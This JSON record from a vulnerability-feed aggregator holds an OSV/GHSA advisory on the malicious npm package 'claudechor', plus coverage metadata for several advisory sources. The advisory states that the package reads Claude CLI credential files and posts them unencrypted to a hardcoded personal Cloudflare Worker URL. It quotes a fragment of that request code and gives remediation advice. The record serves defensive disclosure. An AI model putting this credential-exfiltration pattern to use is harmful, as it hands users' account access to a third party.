{"id":"GHSA-w7p9-gpj5-p2pw","revision":null,"records":[{"revision":"0e3cd451cad44cc7a5a6d9045cb3624d","observedAt":"2026-10-24T13:17:17.793+00:00","statement":{"source":"osv","id":"MAL-2026-5717","aliases":["GHSA-w7p9-gpj5-p2pw"],"title":"Malicious code in claudechor (npm)","description":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (4a9cbb36cf7ed82685830b5d3a2b341bff9ef86e2688842d1f54259b2b6fb533)\nThe package's bin entry reads installer-owned Claude credential files (`~/.claude/.credentials.json` and `~/.claude.json`) — written by Anthropic's official Claude CLI, not by this package — and POSTs their contents in plaintext JSON to a hardcoded endpoint `https://tfer.jha-anurag2017.workers.dev` (a personal Cloudflare Worker unrelated to Anthropic). index.js:9 hardcodes `WORKER_URL`; index.js:78-83 reads the two credential files and calls `request(\"POST\", \"/${name}\", { data: JSON.stringify(files) })` keyed by `<hostname>-<username>` (collected via `os.hostname()` / `os.userInfo()` at index.js:146). The default invocation `claudechor` with no arguments runs `cmdPush` immediately, with no confirmation. AES-256-GCM `encrypt`/`decrypt` helpers are defined in the file but are dead code in the push path, so the OAuth/session tokens leave the host unencrypted at the application layer. The README is effectively empty (`# tfer`) and nothing in the package metadata discloses that the bin uploads third-party credentials to a personal endpoint. Anyone who runs the CLI surrenders their Anthropic account access to the package author.\n\n## Source: ghsa-malware (e316ad277e7060681095bbb711706304d444bdb3dd411264c8b783b6cf063427)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","state":0,"publishedAt":"2026-06-12T20:57:29+00:00","modifiedAt":"2026-08-18T21:15:12.5513267+00:00","affected":[{"ecosystem":"npm","name":"claudechor","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"}]}],"versions":["1.0.5","1.0.1","1.0.2","1.0.3","1.0.4","1.0.0"],"rawVersionEvidence":null}],"metrics":[],"references":["https://www.npmjs.com/package/claudechor/v/1.0.5","https://www.npmjs.com/package/claudechor/v/1.0.1","https://www.npmjs.com/package/claudechor/v/1.0.2","https://www.npmjs.com/package/claudechor/v/1.0.3","https://www.npmjs.com/package/claudechor/v/1.0.4","https://github.com/advisories/GHSA-w7p9-gpj5-p2pw","https://www.npmjs.com/package/claudechor/v/1.0.0"],"sourceUrl":"https://osv.dev/vulnerability/MAL-2026-5717","license":"OSV · upstream source license applies","key":"osv:MAL-2026-5717","identifiers":["MAL-2026-5717","GHSA-w7p9-gpj5-p2pw"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-21T12:15:57.7243701+00:00","complete":true,"records":1790,"lastAttemptAt":"2026-11-21T12:15:57.7243701+00:00","lastSuccessAt":"2026-11-21T12:15:57.8986652+00:00","error":null,"lastVerifiedAt":"2026-11-21T12:15:57.8986661+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-1d6c61c44cf3e269b6d60ed2fe0a3aa1f7e55445c7f170f16f2fa063bbf73db3-18152af2cb115f58b2333f5af715b7050c1c1916904e58a2c8af40e43c7671d3","complete":true,"records":430117,"lastAttemptAt":"2026-11-21T12:15:57.208927+00:00","lastSuccessAt":"2026-11-21T12:15:57.17481+00:00","error":null,"lastVerifiedAt":"2026-11-21T12:15:57.208927+00:00","snapshotPublishedAt":"2026-11-21T11:18:41+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-a2bd122bcf8146be86f13cfc52f40209","complete":false,"records":13919,"lastAttemptAt":"2026-11-21T12:17:57.5879141+00:00","lastSuccessAt":"2026-11-21T12:17:57.6761469+00:00","error":null,"lastVerifiedAt":"2026-11-21T12:17:57.6761469+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-21T12:15:57.7243701+00:00","complete":true,"records":1131,"lastAttemptAt":"2026-11-21T12:15:57.7243701+00:00","lastSuccessAt":"2026-11-21T12:15:57.8994481+00:00","error":null,"lastVerifiedAt":"2026-11-21T12:15:57.8994483+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-aa12646f31c14e05b6115135ee3d7c51","complete":true,"records":13931,"lastAttemptAt":"2026-11-21T12:15:59.3751759+00:00","lastSuccessAt":"2026-11-21T12:15:59.371+00:00","error":null,"lastVerifiedAt":"2026-11-21T12:15:59.371+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13967,"expectedIdentifiers":13967,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-99c78bee98bf8a60587f33f568944b12d3afe17ecc41437c57b47e2204cce04d","complete":true,"records":9989,"lastAttemptAt":"2026-11-21T12:15:57.5844613+00:00","lastSuccessAt":"2026-11-21T00:54:34.963487+00:00","error":null,"lastVerifiedAt":"2026-11-21T12:15:57.5844613+00:00","snapshotPublishedAt":"2026-11-21T00:03:07+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-6ba2352decd0c95d34a1b50f642582aa34659ce946f552488f0a5cea4e0cc09a","complete":true,"records":2020,"lastAttemptAt":"2026-11-21T12:15:57.3736092+00:00","lastSuccessAt":"2026-11-20T15:46:15.4249619+00:00","error":null,"lastVerifiedAt":"2026-11-21T12:15:57.3736092+00:00","snapshotPublishedAt":"2026-11-20T14:48:20+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-2c09f95d48acb57436aa1dd2f0eec6f651dce8d1621b6978554be0f0b129faa4","complete":true,"records":3209,"lastAttemptAt":"2026-11-21T12:15:57.6909513+00:00","lastSuccessAt":"2026-11-20T23:48:55.8565941+00:00","error":null,"lastVerifiedAt":"2026-11-21T12:15:57.6909513+00:00","snapshotPublishedAt":"2026-11-20T23:48:16+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-14439d295cda6d6706536c3efcb7f193a982609cf031218db7fa9ef26fdcc725","complete":true,"records":232850,"lastAttemptAt":"2026-11-21T12:15:57.4759989+00:00","lastSuccessAt":"2026-11-21T03:47:49.8245357+00:00","error":null,"lastVerifiedAt":"2026-11-21T12:15:57.4759989+00:00","snapshotPublishedAt":"2026-11-21T03:33:18+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}